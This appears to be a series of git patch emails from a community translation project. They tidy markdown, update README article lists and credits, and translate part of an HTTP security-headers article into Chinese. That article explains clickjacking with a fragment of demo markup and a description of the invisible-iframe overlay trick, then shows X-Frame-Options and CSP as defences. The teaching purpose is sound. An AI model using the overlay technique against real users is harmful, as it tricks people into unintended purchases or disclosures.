Subject: [PATCH 160/638] Update function-as-child-components.md

---
 TODO/function-as-child-components.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/function-as-child-components.md b/TODO/function-as-child-components.md
index 761cef8ecbd..8a7ee9897c7 100644
--- a/TODO/function-as-child-components.md
+++ b/TODO/function-as-child-components.md
@@ -187,7 +187,7 @@ Ratio.defaultProps = {
 
 Alright, so I did a lot there. We added some event listeners to listen for resize events as well as actually computing the width and height using the provided ratio. Neat, so we’ve got a width and height in our internal state, how can we share it with other components?
 
-This is one of those things that is hard to understand because it is so simple that when you see it you think, “That can’t be all there is to it.” but this ***is***all there is to it.
+This is one of those things that is hard to understand because it is so simple that when you see it you think, “That can’t be all there is to it.” but this is all there is to it.
 
 #### Children is literally just a JavaScript function. ####
 

From f1201ddf9ef897e77cd6537a7deab9e62d135a42 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 13 Apr 2017 23:20:52 +0800
Subject: [PATCH 161/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20MVVM-C=20=E4=B8=8E?=
 =?UTF-8?q?=20Swift=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md | 4 ++--
 ios.md    | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 8db95c9f37f..b8e4a9f3caa 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [457](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [458](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -29,10 +29,10 @@
 
 ## iOS
 
+* [MVVM-C 与 Swift](https://juejin.im/post/58ef16b8da2f60005d180666/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)
 * [Swift 闭包和代理中的保留周期](https://juejin.im/post/58e4ac5d44d904006d2a9a19/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([oOatuo](http://atuo.xyz/)) 翻译)
 * [一名 iOS 开发者的 React Native 开发经历](https://juejin.im/post/58df4c3fa0bb9f0069e2f2bd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)) 翻译)
 * [优化 Swift 的编译时间](https://juejin.im/post/58df1d75570c35005796966b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)
-* [看！Swift 里竟然有红绿灯 🚦！](https://juejin.im/post/58ddbc612f301e0062fed742/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)
 * [所有 iOS 译文>>](https://github.com/xitu/gold-miner/blob/master/ios.md)
 
 ## 前端
diff --git a/ios.md b/ios.md
index 53fce8c3fce..89d29887e73 100644
--- a/ios.md
+++ b/ios.md
@@ -1,3 +1,4 @@
+* [MVVM-C 与 Swift](https://juejin.im/post/58ef16b8da2f60005d180666/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)
 * [Swift 闭包和代理中的保留周期](https://juejin.im/post/58e4ac5d44d904006d2a9a19/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([oOatuo](http://atuo.xyz/)) 翻译)
 * [一名 iOS 开发者的 React Native 开发经历](https://juejin.im/post/58df4c3fa0bb9f0069e2f2bd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)) 翻译)
 * [优化 Swift 的编译时间](https://juejin.im/post/58df1d75570c35005796966b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)

From 548991b587ae880f4e24df0ce4c8720472e39781 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Thu, 13 Apr 2017 23:25:29 +0800
Subject: [PATCH 162/638] =?UTF-8?q?=E5=AE=A1=E6=A0=B8=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...amming-in-javascript-composing-software.md | 30 +++++++++----------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/TODO/why-learn-functional-programming-in-javascript-composing-software.md b/TODO/why-learn-functional-programming-in-javascript-composing-software.md
index c260bf55297..76ee8309ca0 100644
--- a/TODO/why-learn-functional-programming-in-javascript-composing-software.md
+++ b/TODO/why-learn-functional-programming-in-javascript-composing-software.md
@@ -1,8 +1,8 @@
 > * 原文地址：[Why Learn Functional Programming in JavaScript? (Composing Software)(part 2)](https://medium.com/javascript-scene/why-learn-functional-programming-in-javascript-composing-software-ea13afc7a257)
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[gy134340](https://github.com/gy134340)
+> * 校对者：[sunui](https://github.com/sunui),[avocadowang](https://github.com/avocadowang)
 
 # 为什么用 JavaScript 学习函数式编程？（软件构建）（第二部分）
 
@@ -10,7 +10,7 @@
 
 烟雾的方块艺术 —MattysFlicks —(CC BY 2.0)
 > 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 撰写软件的第二部分。保持关注，接下来还有很多！
->  [从第一部分开始](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe) | [接下来的 >](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#.2e4youss2)
+>  [从第一部分开始](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md) | [接下来的 >](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md)
 
 忘掉你认为知道的关于 JavaScript 的一切，用初学者的眼光去看待它。为了帮助你做到这一点，我们将会从头复习一下 JavaScript 的基础，就像你与其尚未谋面一样。如果你是初学者，那你就很幸运了。最终从零开始探索 ES6 和函数式编程！希望所有的概念都被解释清楚 — 但不要太依赖于此。
 
@@ -20,9 +20,9 @@
 
 JavaScript 有函数式编程所需要的最重要的特性：
 
-1. **一级公民函数：**使用函数作为数据值的能力：用函数传参，返回函数，用函数做变量和对象属性。这个属性允许更高级别的函数，使偏函数应用、柯里化和组合成为可能。
-2. **匿名函数和简洁的 lambda 语法：**`x => x * 2` 是 JavaScript 中有效的函数表达式。简洁的 lambda 语法使得高阶函数变的简单。
-3. **闭包：**闭包是一个有着自己独立作用域的捆绑函数。闭包在函数被创建时被创建。当一个函数在另一个函数内部被创建，它可以访问外部函数的变量，即使在外部函数退出后。通过闭包偏函数应用可以获取内部固定参数。固定的参数时绑定在返回函数的作用域范围内的参数。在 `add2(1)(2)` 中，`1` 是 `add2(1)` 返回的函数中的固定参数。
+1. **一级公民函数：** 使用函数作为数据值的能力：用函数传参，返回函数，用函数做变量和对象属性。这个属性允许更高级别的函数，使偏函数应用、柯里化和组合成为可能。
+2. **匿名函数和简洁的 lambda 语法：** `x => x * 2` 是 JavaScript 中有效的函数表达式。简洁的 lambda 语法使得高阶函数变的简单。
+3. **闭包：** 闭包是一个有着自己独立作用域的捆绑函数。闭包在函数被创建时被创建。当一个函数在另一个函数内部被创建，它可以访问外部函数的变量，即使在外部函数退出后。通过闭包偏函数应用可以获取内部固定参数。固定的参数时绑定在返回函数的作用域范围内的参数。在 `add2(1)(2)` 中，`1` 是 `add2(1)` 返回的函数中的固定参数。
 
 ### JavaScript 缺少了什么
 
@@ -40,19 +40,19 @@ JavaScript 是多范式语言，意味着它支持多种风格的编程。其他
 
 下面是一些函数式语言拥有但是 JavaScript 没有的特性：
 
-1. **纯粹性：**在一些函数式语言中，纯粹性是强制的，有副作用的表达式是不被允许的。
-2. **不可变性：**一些函数式语言不允许转变，采用表达式来产生新的数据结构来代替更改一个已存的数据结构，比如说数组或者对象。这样看起来可能不够高效，但是大多数函数式语言在引擎下使用 trie 数据结构，具有结构共享的特点：意味着旧的对象和新的对象是对相同数据的引用。
-3. **递归：**递归是函数引用自身来进行迭代的能力。在大多数函数式语言中，递归是迭代的唯一方式，它们没有像 `for` 、`while`、`do` 这类循环语句。
+1. **纯粹性：** 在一些函数式语言中，纯粹性是强制的，有副作用的表达式是不被允许的。
+2. **不可变性：** 一些函数式语言不允许转变，采用表达式来产生新的数据结构来代替更改一个已存的数据结构，比如说数组或者对象。这样看起来可能不够高效，但是大多数函数式语言在引擎下使用 trie 数据结构，具有结构共享的特点：意味着旧的对象和新的对象是对相同数据的引用。
+3. **递归：** 递归是函数引用自身来进行迭代的能力。在大多数函数式语言中，递归是迭代的唯一方式，它们没有像 `for` 、`while`、`do` 这类循环语句。
 
-**纯粹性：**在 JavaScript 中，纯粹性由约定来达成，如果你不是使用纯函数来构成你的大多数应用，那么你就不是在进行函数式风格的编程。很不幸，在 JavaScript 中，你很容易就会不小心创建和使用一些不纯的函数。
+**纯粹性：** 在 JavaScript 中，纯粹性由约定来达成，如果你不是使用纯函数来构成你的大多数应用，那么你就不是在进行函数式风格的编程。很不幸，在 JavaScript 中，你很容易就会不小心创建和使用一些不纯的函数。
 
-**不可变性：**在纯函数式语言中，不可变性通常是强制的，JavaScript 缺少函数式语言中高效的、基于 trie 树的数据结构，但是你可以使用一些库，包括 [Immutable.js](https://facebook.github.io/immutable-js/) 和 [Mori](https://github.com/swannodette/mori)，由衷期望未来的 ECMAScript 规范版本可以拥抱不可变数据结构。
+**不可变性：** 在纯函数式语言中，不可变性通常是强制的，JavaScript 缺少函数式语言中高效的、基于 trie 树的数据结构，但是你可以使用一些库，包括 [Immutable.js](https://facebook.github.io/immutable-js/) 和 [Mori](https://github.com/swannodette/mori)，由衷期望未来的 ECMAScript 规范版本可以拥抱不可变数据结构。
 
 有一些迹象带来了希望，比如说在 ES6 中添加了 `const` 关键字，`const` 声明的变量不能被重新赋值，重要的是要理解 `const` 所声明的值并不是不可改变的。
 
 `const` 声明的对象不能被重新声明为新的对象，但是对象的属性却是可变的，JavaScript 有 `freeze()` 对象的能力，但是这些对象只能在根实例上被冻结，意味着嵌套着的对象还是可以改变它的属性。换句话说，在 JavaScript 规范中看到真正的不可变还有很长的路要走。
 
-**递归：**JavaScript 技术上支持递归，但是大多数函数式语言都有尾部调用优化的特性，尾部调用优化是一个允许递归的函数重用堆栈帧来递归调用的特性。
+**递归：** JavaScript 技术上支持递归，但是大多数函数式语言都有尾部调用优化的特性，尾部调用优化是一个允许递归的函数重用堆栈帧来递归调用的特性。
 
 没有尾部调用优化，一个调用的栈很可能没有边界导致堆栈溢出。JavaScript 在 ES6 规范中有一个有限的尾调用优化。不幸的是，只有一个主要的浏览器引擎支持它，这个优化被部分应用随后从 Babel(最流行的 JavaScript 编译器，在旧的浏览器中被用来把 ES6 编译到 ES5) 中移除。
 
@@ -64,7 +64,7 @@ JavaScript 是多范式语言，意味着它支持多种风格的编程。其他
 
 Monads 的问题是，尽管它的使用很简单，但是对一个不是很熟悉它的人解释清楚它有点像“对牛谈琴”。
 
-> “Monad说白了不过就是自函子范畴上的一个幺半群而已，这有什么难以理解的?” ～James Iry 所引用 Philip Wadler 的话，解释一个 Saunders Mac Lane 说过的名言。[*“编程语言简要、不完整之黑历史”*](http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html)
+> “Monad说白了不过就是自函子范畴上的一个幺半群而已，这有什么难以理解的?” ～James Iry 所引用 Philip Wadler 的话，解释一个 Saunders Mac Lane 说过的名言。[**“编程语言简要、不完整之黑历史”**](http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html)
 
 典型的，这是在调侃这有趣的一点。在上面的引用中，关于 Monads 的解释相比最初的有了很大的简化，原来是下面这样：
 
@@ -135,7 +135,7 @@ JavaScript 的真正优势在于其生态系统中的思想和用户的多样性
 
 App 正在吞食世界， web 正在吞食 app， 同时 JavaScript 正在吞食 web。
 
-[**接下来的第三部分: 函数式开发者的 JavScript 介绍…**](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#.zdpw16p65)
+[**接下来的第三部分: 函数式开发者的 JavScript 介绍…**](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md)
 
 ### 下一步
 
@@ -148,7 +148,7 @@ App 正在吞食世界， web 正在吞食 app， 同时 JavaScript 正在吞食
 
 *Eric Elliott* 是 [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly) 和 “Learn JavaScript with Eric Elliott” 的作者。他曾效力于 *Adobe Systems, Zumba Fitness, he Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica* 和其他一些公司。
 
-*他和她的老婆（很漂亮）大部分时间都在旧金山湾区里。*
+**他和她的老婆（很漂亮）大部分时间都在旧金山湾区里。**
 
 
 ---

From faead526a8bbdb96a5e142a35150f99f78493622 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Thu, 13 Apr 2017 23:29:35 +0800
Subject: [PATCH 163/638] Change name

---
 ...n-functional-programming-in-javascript-composing-software.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/why-learn-functional-programming-in-javascript-composing-software.md b/TODO/why-learn-functional-programming-in-javascript-composing-software.md
index 76ee8309ca0..1a9327f182e 100644
--- a/TODO/why-learn-functional-programming-in-javascript-composing-software.md
+++ b/TODO/why-learn-functional-programming-in-javascript-composing-software.md
@@ -4,7 +4,7 @@
 > * 译者：[gy134340](https://github.com/gy134340)
 > * 校对者：[sunui](https://github.com/sunui),[avocadowang](https://github.com/avocadowang)
 
-# 为什么用 JavaScript 学习函数式编程？（软件构建）（第二部分）
+# 为什么用 JavaScript 学习函数式编程？（软件编写）（第二部分）
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 

From 5b1b51ebdafc4dff22796cad47f941d7edb82f82 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Thu, 13 Apr 2017 23:31:51 +0800
Subject: [PATCH 164/638] Change title

---
 ...-and-rise-of-functional-programming-composable-software.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
index a529896a3c1..c02cffb517d 100644
--- a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
+++ b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
@@ -4,13 +4,13 @@
 > * 译者：[gy134340](https://github.com/gy134340)
 > * 校对者：[avocadowang](https://github.com/avocadowang),[Aladdin-ADD](https://github.com/Aladdin-ADD)
 
-# 跌宕起伏的函数式编程（软件构建）
+# 跌宕起伏的函数式编程（软件编写）
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
 烟雾的方块艺术 —MattysFlicks —(CC BY 2.0)
 
-> 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 构建软件的第一部分。保持关注，接下来还有很多！
+> 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 编写软件的第一部分。保持关注，接下来还有很多！
 
 当我 6 岁时，我花了很多时间跟我的小伙伴玩电脑游戏，他家有一个装满电脑的房间。对于我说，它们有不可抗拒的魔力。我花了很多时间探索所有的游戏。一天我问他，“我们怎样做一个游戏？”
 

From e4b0de65a66405a4f0afb4b5c5f897f8ec8efedd Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Fri, 14 Apr 2017 01:05:56 +0800
Subject: [PATCH 165/638] update translation

---
 TODO/secure-web-app-http-headers.md | 56 ++++++++++++++++++++---------
 1 file changed, 39 insertions(+), 17 deletions(-)

diff --git a/TODO/secure-web-app-http-headers.md b/TODO/secure-web-app-http-headers.md
index af59d9b41f1..d15fe288045 100644
--- a/TODO/secure-web-app-http-headers.md
+++ b/TODO/secure-web-app-http-headers.md
@@ -219,13 +219,17 @@ functionrequestHandler(req, res){
 	res.setHeader('X-XSS-Protection','1;mode=block');}
 ```
 
-### Controlling Framing ###
+### Controlling Framing 控制 iframe ###
 
-An iframe (or HTML inline frame element, if you want to be more formal) is a DOM element that allows a web app to be nested within a parent web app. This powerful element enables some important web use cases, such as embedding third-party content into web apps, but it also has significant drawbacks, such as not being SEO-friendly and not playing nice with browser navigation — the list goes on.
+> An iframe (or HTML inline frame element, if you want to be more formal) is a DOM element that allows a web app to be nested within a parent web app. This powerful element enables some important web use cases, such as embedding third-party content into web apps, but it also has significant drawbacks, such as not being SEO-friendly and not playing nice with browser navigation — the list goes on.
 
-One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack that tricks the user into clicking something different than what they think they’re clicking. To understand a simple implementation of clickjacking, consider the HTML markup below, which tries to trick the user into buying a toaster when they think they are clicking to win a prize!
+iframe （正式来说，是一个 HTML 的行内框架元素）是一个 DOM 元素，它允许一个 web 应用嵌套在另一个 web 应用中。这个强大的元素有部分重要的使用场景，比如在 web 应用中嵌入第三方内容， 但它也有重大的缺点，例如对 SEO 不友好，对浏览器导航跳转也不友好，还有很多。
 
-```
+> One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack that tricks the user into clicking something different than what they think they’re clicking. To understand a simple implementation of clickjacking, consider the HTML markup below, which tries to trick the user into buying a toaster when they think they are clicking to win a prize!
+
+其中一个需要注意的事是它是的点击劫持变得更加容易。点击劫持是一种让用户点击与他们想要点击的不同的攻击。要理解一个简单的劫持实现，参考以下 HTML，当用户认为他们点击可以获得奖品时，实际上是试图欺骗用户购买面包机。
+
+```html
 <html>
   <body>
     <button class='some-class'>Win a Prize!</button>
@@ -234,38 +238,56 @@ One of the caveats of iframes is that it makes clickjacking easier. Clickjacking
 </html>
 ```
 
-Clickjacking has many malicious applications, such as tricking the user into confirming a Facebook like, purchasing an item online and even submitting confidential information. Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web app inside their malicious web app, rendering the iframe invisible with the `opacity: 0` CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button rendered by the malicious web app. A user who clicks the innocent-looking button will trigger a click on the embedded web app — without at all knowing the effect of their click.
+> Clickjacking has many malicious applications, such as tricking the user into confirming a Facebook like, purchasing an item online and even submitting confidential information. Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web app inside their malicious web app, rendering the iframe invisible with the `opacity: 0` CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button rendered by the malicious web app. A user who clicks the innocent-looking button will trigger a click on the embedded web app — without at all knowing the effect of their click.
+
+点击劫持有许多恶意应用程序，例如欺骗用户确认 Facebook 点赞，在线购买商品，甚至提交机密信息。恶意 web 应用程序可以通过在其恶意应用中嵌入合法的 web 应用来利用 iframe 进行点击劫持，这可以通过设置 `opacity: 0` 的 CSS 规则将其隐藏，并将 iframe 的点击目标直接放置在看起来无辜的按钮之上。点击了这个无辜按钮的用户会直接点击在嵌入的 web 应用上，并不知道点击后的作用。
 
-An effective way to block this attack is by restricting your web app from being framed. `X-Frame-Options`, specified in [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt), is designed to do exactly that! This header instructs the browser to apply limitations on whether your web app can be embedded within another web page, thus blocking a malicious web page from tricking users into invoking various transactions on your web app. You can either block framing completely using the `DENY` directive, whitelist specific domains using the `ALLOW-FROM` directive, or whitelist only the web app’s origin using the `SAMEORIGIN` directive.
+> An effective way to block this attack is by restricting your web app from being framed. `X-Frame-Options`, specified in [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt), is designed to do exactly that! This header instructs the browser to apply limitations on whether your web app can be embedded within another web page, thus blocking a malicious web page from tricking users into invoking various transactions on your web app. You can either block framing completely using the `DENY` directive, whitelist specific domains using the `ALLOW-FROM` directive, or whitelist only the web app’s origin using the `SAMEORIGIN` directive.
 
-My recommendation is to use the `SAMEORIGIN` directive, which enables iframes to be leveraged for apps on the same domain — which may be useful at times — and which maintains security. This recommended header looks like this:
+阻止这种攻击的一种有效的方法是限制你的 web 应用被框架化。`X-Frame-Options`，在 [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt) 中引入，就是设计用来做这件事的。此响应头指示浏览器对你的 web 应用是否可以被嵌入另一个网页进行限制，从而阻止恶意网页欺骗用户调用你的应用程序上的各种事务。你可以使用 `DENY` 完全屏蔽，或者使用 `ALLOW-FROM` 指定将特定域列入白名单，也可以使用 `SAMEORIGIN` 指令将应用的源地址列入白名单。
+
+> My recommendation is to use the `SAMEORIGIN` directive, which enables iframes to be leveraged for apps on the same domain — which may be useful at times — and which maintains security. This recommended header looks like this:
+
+我的建议是使用 `SAMEORIGIN` 指令，因为它允许 iframe 被用于同一域上的可以保证安全性的应用程序，这有时是有用的。
 
 ```
 X-Frame-Options: SAMEORIGIN
 ```
 
-Here’s an example of a configuration of this header to enable framing on the same origin in Node.js:
+以下是在 Node.js 中设置此响应头的示例代码：
 
-```
+```javascript
 functionrequestHandler(req, res){
 	res.setHeader('X-Frame-Options','SAMEORIGIN');}
 ```
 
-### Explicitly Whitelisting Sources ###
+### 指定白名单资源 ###
 
-As we’ve noted earlier, you can add in-depth security to your web app by enabling the browser’s XSS filter. However, note that this mechanism is limited, is not supported by all browsers (Firefox, for instance, does not have an XSS filter) and relies on pattern-matching techniques that can be tricked.
+> As we’ve noted earlier, you can add in-depth security to your web app by enabling the browser’s XSS filter. However, note that this mechanism is limited, is not supported by all browsers (Firefox, for instance, does not have an XSS filter) and relies on pattern-matching techniques that can be tricked.
 
-Another layer of in-depth protection against XSS and other attacks can be achieved by explicitly whitelisting trusted sources and operations — which is what Content Security Policy (CSP) enables web app developers to do.
+如前所述，你可以通过启用浏览器的 XSS 过滤器，给你的 web 应用程序增强安全性。然而请注意，这种机制是有局限性的，不是所有浏览器都支持（例如 Firefox 就不支持 XSS 过滤），并且依赖的模式匹配技术可以被欺骗。
 
-CSP is a [W3C specification](https://www.w3.org/TR/2016/WD-CSP3-20160901/) that defines a powerful browser-based security mechanism, enabling granular control over resource-loading and script execution in a web app. With CSP, you can whitelist specific domains for operations such as script-loading, AJAX calls, image-loading and style sheet-loading. You can enable or disable inline scripts or dynamic scripts (the notorious `eval`) and control framing by whitelisting specific domains for framing. Another cool feature of CSP is that it allows you to configure a real-time reporting target, so that you can monitor your app in real time for CSP blocking operations.
+> Another layer of in-depth protection against XSS and other attacks can be achieved by explicitly whitelisting trusted sources and operations — which is what Content Security Policy (CSP) enables web app developers to do.
 
-This explicit whitelisting of resource loading and execution provides in-depth security that in many cases will fend off attacks. For example, by using CSP to disallow inline scripts, you can fend off many of the reflective XSS attack variants that rely on injecting inline scripts into the DOM.
+对抗 XSS 和其他攻击的更多一层的保护，可以通过明确列出可信来源和操作来实现 —— 这就是内容安全策略（CSP）。
 
-CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of the various directives. HTML5 Rocks has a [great tutorial](https://www.html5rocks.com/en/tutorials/security/content-security-policy/) that provides an overview of CSP, and I highly recommend reading it and learning how to use CSP in your web app.
+> CSP is a [W3C specification](https://www.w3.org/TR/2016/WD-CSP3-20160901/) that defines a powerful browser-based security mechanism, enabling granular control over resource-loading and script execution in a web app. With CSP, you can whitelist specific domains for operations such as script-loading, AJAX calls, image-loading and style sheet-loading. You can enable or disable inline scripts or dynamic scripts (the notorious `eval`) and control framing by whitelisting specific domains for framing. Another cool feature of CSP is that it allows you to configure a real-time reporting target, so that you can monitor your app in real time for CSP blocking operations.
 
-Here’s a simple example of a CSP configuration to allow script-loading from the app’s origin only and to block dynamic script execution (`eval`) and inline scripts (as usual, on Node.js):
+CSP 是一种 W3C 规范，它定义了强大的基于浏览器的安全机制，可以对 web 应用中的资源加载以及脚本执行进行精细的控制。使用 CSP 可以将特定的域加入白名单进行例如脚本加载、AJAX 调用、图像加载和样式加载。你可以启用或禁用内嵌脚本或动态脚本（臭名昭著的 `eval`），并通过将特定域列入白名单来控制 iframe。CSP 的另一个很酷的功能是它允许配置实时报告目标，一遍实时监控应用程序进行 CSP 阻止操作。
 
-```
+> This explicit whitelisting of resource loading and execution provides in-depth security that in many cases will fend off attacks. For example, by using CSP to disallow inline scripts, you can fend off many of the reflective XSS attack variants that rely on injecting inline scripts into the DOM.
+
+这种对资源加载和脚本执行的明确的白名单提供了很强的安全性，在很多情况下都可以防范攻击。例如，使用 CSP 禁止内嵌脚本，你可以防范很多反射型 XSS 攻击，因为它们依赖于将内嵌脚本注入到 DOM。
+
+> CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of the various directives. HTML5 Rocks has a [great tutorial](https://www.html5rocks.com/en/tutorials/security/content-security-policy/) that provides an overview of CSP, and I highly recommend reading it and learning how to use CSP in your web app.
+
+CSP 是一个相对复杂的响应头，它有很多种指令，在这里我不详细展开了，可以参考 HTML5 Rocks 里一篇很棒的[教程](https://www.html5rocks.com/en/tutorials/security/content-security-policy/)，提供了 CSP 的概述，我非常推荐阅读它来学习如何在你的 web 应用中使用 CSP。
+
+> Here’s a simple example of a CSP configuration to allow script-loading from the app’s origin only and to block dynamic script execution (`eval`) and inline scripts (as usual, on Node.js):
+
+以下是一个设置 CSP 的示例代码，它仅允许从应用程序的源域加载脚本，并组织动态脚本的执行（eval）以及内嵌脚本（当然，还是 Node.js):
+
+```javascript
 functionrequestHandler(req, res){
 	res.setHeader('Content-Security-Policy',"script-src 'self'");}
 ```

From 1d57ea5b8c23304f3943e32de02ca3710c1d0ec7 Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Thu, 13 Apr 2017 18:15:39 -0400
Subject: [PATCH 166/638] added proofreader info and error fixes

---
 TODO/nothing-will-change-until-you-start-building.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index f063274822b..f5c5b91bc89 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[owenlyn](https://github.com/owenlyn)
-> * 校对者：
+> * 校对者：[luoqiuyu](https://github.com/luoqiuyu),[Tina92](https://github.com/Tina92)
 
 ---
 
@@ -59,7 +59,7 @@
 
 当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。
 
-**相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。** 比如，当年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
+**相当一部分看起来很糟糕的点子最后却造就了一些伟大的公司。** 比如，当年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
 
 ![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)
 

From b30c68efa9815d4652b09acc573ffbbb3854c38a Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Fri, 14 Apr 2017 10:33:33 +0800
Subject: [PATCH 167/638] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=97=A0=E7=94=A8?=
 =?UTF-8?q?=E7=9A=84=E5=9B=BE=E7=89=87?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/debugging-tips-tricks.md | 33 +++++++++++++++------------------
 1 file changed, 15 insertions(+), 18 deletions(-)

diff --git a/TODO/debugging-tips-tricks.md b/TODO/debugging-tips-tricks.md
index dca2d0b0200..dee46a5eabc 100644
--- a/TODO/debugging-tips-tricks.md
+++ b/TODO/debugging-tips-tricks.md
@@ -4,18 +4,15 @@
 > * 译者：
 > * 校对者：
 
-# Debugging Tips and Tricks #    
+# Debugging Tips and Tricks #
 
 Writing code is only one small piece of being a developer. In order to be efficient and capable at our jobs, we must also excel at debugging. When I dedicate some time to learning new debugging skills, I often find I can move much quicker, and add more value to the teams I work on. I have a few tips and tricks I rely on pretty heavily and found that I give the same advice again and again during workshops, so here’s a compilation of some of them, as well as some from the community. We'll start with some core tenants and then drill down to more specific examples.
 
